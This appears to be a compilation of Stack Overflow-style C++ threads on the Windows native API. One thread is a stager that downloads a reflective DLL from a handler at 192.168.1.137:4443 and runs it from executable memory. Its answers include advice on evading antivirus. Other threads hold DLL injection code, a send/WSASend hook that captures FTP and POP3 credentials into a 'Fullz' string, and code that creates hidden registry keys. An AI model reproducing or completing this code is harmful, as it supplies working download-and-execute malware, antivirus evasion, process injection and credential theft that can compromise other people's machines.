Memory allocation issues using NTAllocateVirtualMemory and GetProcAddress not working - c++

I am trying to write a little program which uses NTAllocateVirtualMemory and GetProcAddress instead of VirtualAlloc.
This is what I have currently:
#include "pch.h"
#include "windows.h"
#include <iostream>
#include "Memoryapi.h"
#include <wininet.h>
#include <string>
#include "HTTP_Requests.h"
using namespace std;
typedef NTSTATUS(NTAPI *NtAllocVirtualMemoryFunc) (HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect);
int main()
{
NtAllocVirtualMemoryFunc NtAllocateVirtualMemory = (NtAllocVirtualMemoryFunc)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtAllocateVirtualMemory");
int Port = 4443;
std::string handler = "192.168.1.137";
std::string URI = "CMZO3LLeroANhAyGU2zSsAIz5jz5vBzoX-GgHdghJK_em-WmpzDG35R3OZlriGNbYZaXnBKQmbx51akG5L1K_ANOjpS7-l-buPeeyixDroY9K1bNb3VaaH2HOyl9S5iOg7uH7jmEwP0fot303PtTZOmIO5C92BuBB5QO_wHvKRFy6QT24kHAupIIx7BQ8VUaUoj4lLt576CKo";
std::string UA = "Mozilla/5.0 (Windows NT 6.1; rv:11.0)";
std::string method = "GET";
void* payload = { 0 };
SIZE_T size = 4194304;
NtAllocateVirtualMemory(GetCurrentProcess(), &payload, 0, &size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE | PAGE_READWRITE);
HttpRequest(handler, URI, UA, Port, method, (char*)payload);
((void(*)())payload)();
}
It seems that after the call to NtAllocateVirtualMemory, the payload variable is not pointing to a memory allocation and is still a nullptr from what I can tell in the debugger. I did not get any errors or exceptions...
The gist behind the program is that it is supposed to retrieve a file over HTTP, place it in the allocated memory buffer and executed (it's a reflective DLL which is going to be written to the buffer). I know that the DLL file was sent by the handler to this application.
The following works, but I need to do this with NTAllocateVirtualMemory :
#include "pch.h"
#include "windows.h"
#include <iostream>
#include "Memoryapi.h"
#include <wininet.h>
#include <string>
#include "HTTP_Requests.h"
using namespace std;
typedef NTSTATUS(NTAPI *NtAllocVirtualMemoryFunc) (HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect);
int main()
{
//NtAllocVirtualMemoryFunc NtAllocateVirtualMemory = (NtAllocVirtualMemoryFunc)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtAllocateVirtualMemory");
int Port = 4443;
std::string handler = "192.168.1.137";
std::string URI = "yEwWxn1DIjxVi1SJC2BImQrzdFIr9qfwOB1VB75cnCFHuJQoYA7Sgwxdb";
std::string UA = "Mozilla/5.0 (Windows NT 6.1; rv:11.0)";
std::string method = "GET";
//void* payload = { 0 };
//SIZE_T size = 4194304;
//NtAllocateVirtualMemory(GetCurrentProcess(), &payload, 0, &size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE | PAGE_READWRITE);
//HttpRequest(handler, URI, UA, Port, method, (char*)payload);
char* buf = (char*)VirtualAlloc(0, (4 * 1024 * 1024), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
//HttpRequest(handler, URI, UA, Port, method, payload);
HttpRequest(handler, URI, UA, Port, method, buf);
//((void(*)())payload)();
((void(*)())buf)();
}

Since your actual problem is to hide from anti-virus, I would suggest to use a static buffer.
Make data sections executable(in Visual Studio)
Specify Project->Properties->Linker->Specify Section Attributes.
For uninitialized data
uninitialized is still zero initialized
/* global or static*/ char buf[20000];
specify .bss,RWE
(which is probably what you need)
For initialized data
/* global or static*/ char buf[20000]{1};
specify .data,RWE
Both
specify Linker->Command Line->Additional Options as /SECTION:.bss,RWE /SECTION:.data,RWE

This is what I ended up doing in the end, which is very similar to what #Adler suggested above:
#include "pch.h"
#include "windows.h"
#include <iostream>
#include "Memoryapi.h"
#include <wininet.h>
#include <string>
#include "HTTP_Requests.h"
typedef struct _LSA_UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, *PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES { ULONG Length; HANDLE RootDirectory; PUNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor; PVOID SecurityQualityOfService; } OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;
typedef struct _CLIENT_ID { PVOID UniqueProcess; PVOID UniqueThread; } CLIENT_ID, *PCLIENT_ID;
using myNtCreateSection = NTSTATUS(NTAPI*)(OUT PHANDLE SectionHandle, IN ULONG DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN PLARGE_INTEGER MaximumSize OPTIONAL, IN ULONG PageAttributess, IN ULONG SectionAttributes, IN HANDLE FileHandle OPTIONAL);
using myNtMapViewOfSection = NTSTATUS(NTAPI*)(HANDLE SectionHandle, HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize, DWORD InheritDisposition, ULONG AllocationType, ULONG Win32Protect);
using namespace std;
int main()
{
myNtCreateSection fNtCreateSection = (myNtCreateSection)(GetProcAddress(GetModuleHandleA("ntdll"), "NtCreateSection"));
myNtMapViewOfSection fNtMapViewOfSection = (myNtMapViewOfSection)(GetProcAddress(GetModuleHandleA("ntdll"), "NtMapViewOfSection"));
SIZE_T size = 4194304;
LARGE_INTEGER sectionSize = { size };
HANDLE sectionHandle = NULL;
PVOID localSectionAddress = NULL, remoteSectionAddress = NULL;
fNtCreateSection(&sectionHandle, SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE, NULL, (PLARGE_INTEGER)&sectionSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);
fNtMapViewOfSection(sectionHandle, GetCurrentProcess(), &localSectionAddress, NULL, NULL, NULL, &size, 2, NULL, PAGE_EXECUTE_READWRITE);
int Port = 4443;
std::string handler = "192.168.1.137";
std::string URI = "yEwWxn1DIjxVi1SJC2BImQrzdFIr9qfwOB1VB75cnCFHuJQoYA7Sgwxdb";
std::string UA = "Mozilla/5.0 (Windows NT 6.1; rv:11.0)";
std::string method = "GET";
HttpRequest(handler, URI, UA, Port, method, (char*)localSectionAddress);
((void(*)())localSectionAddress)();
}
It appears you cannot set RWX permissions from Windows 8.1 or above for the NtAllocateVirtualMemory function: link
This article seemed to suggest that it was so it misled me into trying it: link

Related

How to call ldrLoadDll on another thread of another app?

I did the simplest injector NtCreateThreadEx + LdrLoadDll, but the injector injects dll into itself and not into the target process (using LoadLibraryW instead of LdrLoadDll ((wchar_t *) 0, 0, & name, & Module)), it works correctly - how can I fix the problem in the simplest way
#include <windows.h>
#include <winternl.h>
#pragma comment(lib, "ntdll.lib")
using namespace std;
EXTERN_C NTSYSAPI NTSTATUS NTAPI NtCreateThreadEx(PHANDLE,
ACCESS_MASK, LPVOID, HANDLE, LPTHREAD_START_ROUTINE, LPVOID,
BOOL, SIZE_T, SIZE_T, SIZE_T, LPVOID);
typedef HMODULE(__stdcall* _LdrLoadDll)(
wchar_t* PathToFile,
unsigned long Flags,
PUNICODE_STRING ModuleFileName,
PHANDLE* ModuleHandle
);
_LdrLoadDll LdrLoadDll;
int main()
{
DWORD targetProcId = 10340; //Proc id to inject
wchar_t targetDllPath[255] = L"C:\\DllTest32.dll"; //dll path to inject
unsigned short targetDllPathLength = sizeof(targetDllPath);
HANDLE targetOpened = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetProcId);
LPVOID allocatedMem = VirtualAllocEx(targetOpened, 0, targetDllPathLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
bool wpm = WriteProcessMemory(targetOpened, allocatedMem, targetDllPath, targetDllPathLength, 0);
LdrLoadDll = (_LdrLoadDll)GetProcAddress(GetModuleHandleA("ntdll.dll"), "LdrLoadDll");
UNICODE_STRING name;
name.Buffer = targetDllPath;
name.Length = wcslen(name.Buffer) * sizeof(wchar_t);
name.MaximumLength = name.Length + sizeof(wchar_t);
PHANDLE Module;
HANDLE rt;
NtCreateThreadEx(
&rt, PROCESS_CREATE_THREAD, NULL, targetOpened,
(LPTHREAD_START_ROUTINE)LdrLoadDll((wchar_t*)0, 0, &name, &Module),
allocatedMem, FALSE, NULL, NULL, NULL, NULL);
}

How to set PUNICODE_STRING without RtlInitUnicodeString?

I tried to write an injector but using LdrLoadDll instead of LoadLibrary.
However, I am unable to assign PUNICODE_STRING. the compiler shows Error C2326 'main :: _ params :: _ params (void)': function cannot access 'dllName' But why
If you replace LdrLoadDll and its definition with Beep (kernel32.dll) and, the "params" structure, then everything works and the sound appears
#include <windows.h>
#include <winternl.h>
#pragma comment(lib, "ntdll.lib")
using namespace std;
EXTERN_C NTSYSAPI NTSTATUS NTAPI NtCreateThreadEx(PHANDLE,
ACCESS_MASK, LPVOID, HANDLE, LPVOID, LPVOID,
BOOL, SIZE_T, SIZE_T, SIZE_T, LPVOID);
typedef HMODULE(__stdcall* _LdrLoadDll)(
wchar_t* PathToFile,
unsigned long Flags,
PUNICODE_STRING ModuleFileName,
PHANDLE* ModuleHandle
);
int main()
{
DWORD targetProcId =212;
HANDLE targetOpened = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetProcId);
_LdrLoadDll LdrLoadDll = (_LdrLoadDll)GetProcAddress(GetModuleHandleA("ntdll.dll"), "LdrLoadDll");
UNICODE_STRING dllName;
dllName.Buffer = (wchar_t*)L"DllTest32.dll";
dllName.Length = wcslen(dllName.Buffer) * sizeof(wchar_t);
dllName.MaximumLength = dllName.Length + sizeof(wchar_t);
static struct _params {
wchar_t* PathToFile = (wchar_t*)L"C:\\DllTest32.dll";
unsigned long Flags = 0;
PUNICODE_STRING ModuleFileName = &dllName; //something wrong here — Error C2326 'main::_params::_params(void)': function cannot access 'dllName'
PHANDLE* ModuleHandle = 0;
} params;
HANDLE rt;
NtCreateThreadEx(
&rt, PROCESS_CREATE_THREAD, NULL, targetOpened,
LdrLoadDll,
&params,
FALSE, NULL, NULL, NULL, NULL);
}
A local class cannot access non-static variables of the enclosing function.
To fix, you need to access dllName outside of the class:
static struct _params {
wchar_t* PathToFile = (wchar_t*)L"C:\\DllTest32.dll";
unsigned long Flags = 0;
PUNICODE_STRING ModuleFileName;
PHANDLE* ModuleHandle = 0;
} params;
params.ModuleFileName = &dllName;

Hooking Send/WSASend returns runtime check error#0

i am trying to hook Send/ WSASend to monitor traffic, show data in messagebox, when i hook other than show a messagebox with the traffic it pops out this runtime check error.
The code seems to compile correctly , looks like this below
#include "stdafx.h"
#include "MinHook.h"
#include <Windows.h>
#include <stdio.h>
#include <Wininet.h>
#include <fstream>
#include <string>
#include <vector>
#include <winsock2.h>
#include "popftphook.h"
#pragma comment (lib, "wininet")
#pragma comment(lib,"urlmon")
#pragma comment(lib, "ws2_32")
using namespace std;
LPVOID original_functionwsa = NULL;
LPVOID original_functionsend = NULL;
template <typename T>
inline MH_STATUS MH_CreateHookEx(LPVOID original, LPVOID pDetour, T** ppOriginal)
{
return MH_CreateHook(original, pDetour, reinterpret_cast<void**>(ppOriginal));
}
typedef int(*send_FuncType)(SOCKET s, const char *buf, int len, int flags);
typedef int (WINAPI *OldWSASend)(SOCKET s, LPWSABUF lpBuffers, DWORD dwBufferCount, LPDWORD lpNumberOfBytesSent, DWORD dwFlags, LPWSAOVERLAPPED lpOverlapped, LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine);
void ExportBuffer(char *buf, SOCKET s);
send_FuncType True_send = NULL;
OldWSASend TrueWSAhook1 = NULL;
void ExportBuffer(char *buf, SOCKET s)
{
char *buffer = (char*)buf;
if (strncmp(buffer, "FTP", 5) == 0 || strncmp(buffer, "POP", 5) == 0)
{
sockaddr_in peeraddr;
int size = sizeof(peeraddr);
getpeername(s, (struct sockaddr *)&peeraddr, &size);
struct sockaddr_in *s = (struct sockaddr_in *)&peeraddr;
char* IP = inet_ntoa(peeraddr.sin_addr);
int Port = (int)htons(peeraddr.sin_port);
if (IP != NULL && Port > 0)
{
char Fullz[250];
wsprintfA(Fullz, "user=%s&pwd=%s&domain=%s&port=%d&proto=POP3 or FTP", buf, inet_ntoa(peeraddr.sin_addr), Port);
MessageBoxA(0, Fullz, 0, 0);
}
}
}
int WINAPI Detoursend(SOCKET s, const char *buf, int len, int flags)
{
int hResult = True_send(s, buf, len, flags);
if (hResult > 0)
{
ExportBuffer((char*)buf, s);
}
return hResult;
}
int WINAPI HOOK_WSASend(SOCKET s, LPWSABUF lpBuffers, DWORD dwBufferCount, LPDWORD lpNumberOfBytesSent, DWORD dwFlags, LPWSAOVERLAPPED lpOverlapped, LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine)
{
int hResult = TrueWSAhook1(s, lpBuffers, dwBufferCount, lpNumberOfBytesSent, dwFlags, lpOverlapped, lpCompletionRoutine);
if (hResult > 0)
{
ExportBuffer((char*)lpBuffers->buf, s);
}
return hResult;
}
void hookSend()
{
MH_STATUS status = MH_Initialize();
original_functionsend = (LPVOID)GetProcAddress(GetModuleHandle(L"ws2_32.dll"), "send");
status = MH_CreateHookEx(original_functionsend, &Detoursend, &True_send);
status = MH_EnableHook(MH_ALL_HOOKS);
}
void hookWSApop()
{
MH_STATUS status = MH_Initialize();
original_functionsend = (LPVOID)GetProcAddress(GetModuleHandle(L"ws2_32.dll"), "WSASend");
status = MH_CreateHookEx(original_functionsend, &HOOK_WSASend, &TrueWSAhook1);
status = MH_EnableHook(MH_ALL_HOOKS);
}
void poptrigger()
{
hookSend();
hookWSApop();
}
When i inject into filezilla i get Runtime check error #0 on line 57.
Your send_FuncType typedef is missing an explicit calling convention, so the compiler's default (usually __cdecl) is used. send() uses the __stdcall calling convention (as almost every Win32 API function does). So you are likely to cause runtime errors when calling True_send() due to that calling convention mismatch. The WINAPI macro includes the __stdcall convention, so you don't have a similar mismatch on your WSASend() hook.
Also, ExportBuffer() has quite a lot of logic bugs:
send() and WSASend() do not operate on null-terminated buffers (and null terminators do not exist in the FTP and POP3 protocols), but your strncmp and wsprintfA operations expect null-terminated data.
You are not taking the stream-oriented nature of TCP into account at all. There is no guarantee that any given buffer will contain complete strings. You have to be prepared to handle strings that span across multiple buffers.
You assume that all sockets are using IPv4 only, but that is not guaranteed. To support both IPv4 and IPv6, use sockaddr_storage instead of sockaddr_in, and use InetPton() instead of inet_ntoa().
You are not passing enough parameters to wsprintfA(). You have 4 format specifiers but are passing only 3 data values.
You appear to want to process FTP and POP3 protocols, but the strings "FTP" and "POP" do not appear in transmitted data in those protocols, so what are you really looking for?
You need to fix those errors.

C++ download file - if not available increasing RAM usage 1mb/s

my Code keeps filling the RAM, if it cant reach the file to download.(network disabled to test)
How can I stop downloading after timeout?
here is the main part for downloading:
int WINAPI WinMain(HINSTANCE instanceHandle, HINSTANCE, char*, int)
{
using namespace std;
std::wstring loadme = targetfolder;
loadme += L"\\filename.txt";
std::wstring url1(L"fileurl");
HRESULT hr1 = URLDownloadToFile(NULL, (url1.c_str()), (loadme.c_str()), 0, NULL); //Download-Start
}
You can use WinINet functions to check if internet is available, check if url link is available, and report progress. Needs "wininet.lib"
WinINet Reference
#include <windows.h>
#include <wininet.h>
#include <fstream>
void geturl(const wchar_t *url)
{
std::ofstream file("c:\\test\\test.htm");
HINTERNET hopen = InternetOpen(L"myAppName",INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);
if (hopen)
{
HINTERNET hurl = InternetOpenUrl(hopen,url,NULL,0,INTERNET_FLAG_DONT_CACHE,0);
if (hurl)
{
DWORD received;
const int bufsize = 1024;
char buf[bufsize];
while (InternetReadFile(hurl, buf, bufsize, &received))
{
//progress...
if (!received) break;
file.write(buf, received);
}
InternetCloseHandle(hurl);
}
InternetCloseHandle(hopen);
}
}

NtOpenKey fails with 0xC0000034 - how to fix this?

I'm creating a user-mode CMD app using VS 2013 in C++ and I'm trying to use the native registry editing functions in it. I'm trying to open certain key with 'NtOpenKey' but it always fails with 'STATUS_OBJECT_NAME_NOT_FOUND' and I'm sure that the 'object' is in it's place so the reason must be somewhere else. I want to use the native registry API's because they can handle 'Hidden Registry Keys' - look here for more info. Here is a snippet of my code:
#include <Windows.h>
#include <tchar.h>
#include <wininet.h>
#include <iostream>
#include <stdio.h>
#include <string.h>
#include <assert.h>
#include "Nt_Funcs_declr.h" //here I have manually included the native api declarations as normally I'm denied to use them but they're exported in ntdll.dll so basically it is possible
#include <zlib.h>
//Obitain Steam folder path
wchar_t *GetSteamPathBuffer()
{
//Open the Sofware Steam registry
OBJECT_ATTRIBUTES objAttrs;
objAttrs.Length = sizeof(OBJECT_ATTRIBUTES);
objAttrs.RootDirectory = NULL;
wchar_t strRegSteam [] = L"\\Registry\\Machine\\SOFTWARE\\Valve";
UNICODE_STRING uStrTmp = { sizeof(strRegSteam), sizeof(strRegSteam), strRegSteam };
objAttrs.ObjectName = &uStrTmp;
objAttrs.Attributes = OBJ_CASE_INSENSITIVE; //
objAttrs.SecurityDescriptor = NULL;
objAttrs.SecurityQualityOfService = NULL;
HANDLE pKey;
ULONG tmmp = NtOpenKey(&pKey, GENERIC_READ, &objAttrs); //here it fails with 'STATUS_OBJECT_NAME_NOT_FOUND'
if(tmmp)
{
cout << "Error: " << GetLastError();
return NULL;
}
//....
}
And Nt_Funcs_declr.h:
#pragma once
//NTDLL import declarations
#define STATUS_BUFFER_TOO_SMALL ((NTSTATUS)0xC0000023L)
//
// Unicode strings are counted 16-bit character strings. If they are
// NULL terminated, Length does not include trailing NULL.
//
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
#ifdef MIDL_PASS
[size_is(MaximumLength / 2), length_is((Length) / 2)] USHORT * Buffer;
#else // MIDL_PASS
_Field_size_bytes_part_(MaximumLength, Length) PWCH Buffer;
#endif // MIDL_PASS
} UNICODE_STRING;
typedef UNICODE_STRING *PUNICODE_STRING;
typedef const UNICODE_STRING *PCUNICODE_STRING;
//
// Valid values for the Attributes field
//
#define OBJ_INHERIT 0x00000002L
#define OBJ_PERMANENT 0x00000010L
#define OBJ_EXCLUSIVE 0x00000020L
#define OBJ_CASE_INSENSITIVE 0x00000040L
#define OBJ_OPENIF 0x00000080L
#define OBJ_OPENLINK 0x00000100L
#define OBJ_KERNEL_HANDLE 0x00000200L
#define OBJ_FORCE_ACCESS_CHECK 0x00000400L
#define OBJ_VALID_ATTRIBUTES 0x000007F2L
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor; // Points to type SECURITY_DESCRIPTOR
PVOID SecurityQualityOfService; // Points to type SECURITY_QUALITY_OF_SERVICE
} OBJECT_ATTRIBUTES;
typedef OBJECT_ATTRIBUTES *POBJECT_ATTRIBUTES;
typedef CONST OBJECT_ATTRIBUTES *PCOBJECT_ATTRIBUTES;
extern "C"
NTSYSAPI
NTSTATUS
NTAPI
NtOpenKey(
_Out_ PHANDLE KeyHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_ POBJECT_ATTRIBUTES ObjectAttributes
);
typedef enum _KEY_INFORMATION_CLASS {
KeyBasicInformation,
KeyNodeInformation,
KeyFullInformation,
KeyNameInformation,
KeyCachedInformation,
KeyFlagsInformation,
KeyVirtualizationInformation,
KeyHandleTagsInformation,
KeyTrustInformation,
MaxKeyInfoClass // MaxKeyInfoClass should always be the last enum
} KEY_INFORMATION_CLASS;
extern "C"
NTSYSAPI
NTSTATUS
NTAPI
NtQueryKey(
_In_ HANDLE KeyHandle,
_In_ KEY_INFORMATION_CLASS KeyInformationClass,
_Out_writes_bytes_opt_(Length) PVOID KeyInformation,
_In_ ULONG Length,
_Out_ PULONG ResultLength
);
typedef enum _KEY_VALUE_INFORMATION_CLASS {
KeyValueBasicInformation,
KeyValueFullInformation,
KeyValuePartialInformation,
KeyValueFullInformationAlign64,
KeyValuePartialInformationAlign64,
MaxKeyValueInfoClass // MaxKeyValueInfoClass should always be the last enum
} KEY_VALUE_INFORMATION_CLASS;
typedef struct _KEY_VALUE_PARTIAL_INFORMATION {
ULONG TitleIndex;
ULONG Type;
ULONG DataLength;
_Field_size_bytes_(DataLength) UCHAR Data[1]; // Variable size
} KEY_VALUE_PARTIAL_INFORMATION, *PKEY_VALUE_PARTIAL_INFORMATION;
extern "C"
NTSYSAPI
NTSTATUS
NTAPI
NtQueryValueKey(
_In_ HANDLE KeyHandle,
_In_ PUNICODE_STRING ValueName,
_In_ KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,
_Out_writes_bytes_opt_(Length) PVOID KeyValueInformation,
_In_ ULONG Length,
_Out_ PULONG ResultLength
);
NOTE: It's for educational prupose so please don't ask me why I don't use WIN32 API.
NB: using the kernel API from user mode is unsupported. I strongly recommend against doing so, unless there is a compelling reason why it is necessary.
Here's the problem:
UNICODE_STRING uStrTmp = { sizeof(strRegSteam), sizeof(strRegSteam), strRegSteam };
From the documentation for UNICODE_STRING:
If the string is null-terminated, Length does not include the trailing null character.
So you should be saying something like
UNICODE_STRING uStrTmp = { sizeof(strRegSteam) - sizeof(wchar_t),
sizeof(strRegSteam),
strRegSteam };
As written, your code was attempting to open a key named L"Valve\0" instead of the key named L"Valve".
Addendum: it has been disputed whether so-called "hidden" keys (an unfortunate name IMO; the keys are visible to Win32 code, they simply can't be manipulated) are actually possible, so here's working code to create one:
#include <Windows.h>
#include <stdio.h>
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWCH Buffer;
} UNICODE_STRING;
typedef UNICODE_STRING *PUNICODE_STRING;
typedef const UNICODE_STRING *PCUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES;
typedef OBJECT_ATTRIBUTES *POBJECT_ATTRIBUTES;
typedef CONST OBJECT_ATTRIBUTES *PCOBJECT_ATTRIBUTES;
#define OBJ_CASE_INSENSITIVE 0x00000040L
#pragma comment(lib, "ntdll.lib")
__declspec(dllimport) NTSTATUS NTAPI NtCreateKey(
__out PHANDLE KeyHandle,
__in ACCESS_MASK DesiredAccess,
__in POBJECT_ATTRIBUTES ObjectAttributes,
__reserved ULONG TitleIndex,
__in_opt PUNICODE_STRING Class,
__in ULONG CreateOptions,
__out_opt PULONG Disposition
);
NTSYSAPI NTSTATUS NTAPI NtOpenKey(
__out PHANDLE KeyHandle,
__in ACCESS_MASK DesiredAccess,
__in POBJECT_ATTRIBUTES ObjectAttributes
);
NTSYSAPI NTSTATUS NTAPI NtDeleteKey(
__out HANDLE KeyHandle
);
int main(int argc, char ** argv)
{
HANDLE pKey;
NTSTATUS result;
OBJECT_ATTRIBUTES objAttrs;
wchar_t strSoftwareKey [] = L"\\Registry\\Machine\\SOFTWARE\\Test\0Key";
// If you use this string instead, the key functions normally, proving that the
// issue isn't because we're using UTF-16 rather than ANSI strings:
//
// wchar_t strSoftwareKey [] = L"\\Registry\\Machine\\SOFTWARE\\Test\u2D80Key";
UNICODE_STRING uStrSoftwareKey = {
sizeof(strSoftwareKey) - sizeof(wchar_t),
sizeof(strSoftwareKey),
strSoftwareKey };
objAttrs.Length = sizeof(OBJECT_ATTRIBUTES);
objAttrs.RootDirectory = NULL;
objAttrs.ObjectName = &uStrSoftwareKey;
objAttrs.Attributes = OBJ_CASE_INSENSITIVE;
objAttrs.SecurityDescriptor = NULL;
objAttrs.SecurityQualityOfService = NULL;
result = NtCreateKey(&pKey, GENERIC_ALL, &objAttrs, 0, NULL, 0, NULL);
if(result)
{
printf("NtCreateKey: %x\n", result);
return NULL;
}
#if 0 // enable this section to delete the key
// you won't be able to use regedit!
result = NtDeleteKey(pKey);
if(result)
{
printf("NtDeleteKey: %x\n", result);
return NULL;
}
#endif
}
As of Windows 7, at least, this still works. (You'll need a copy of ntdll.lib, available from the DDK/WDK, in order to build this code.)
Please do not do this in production code or on other people's machines.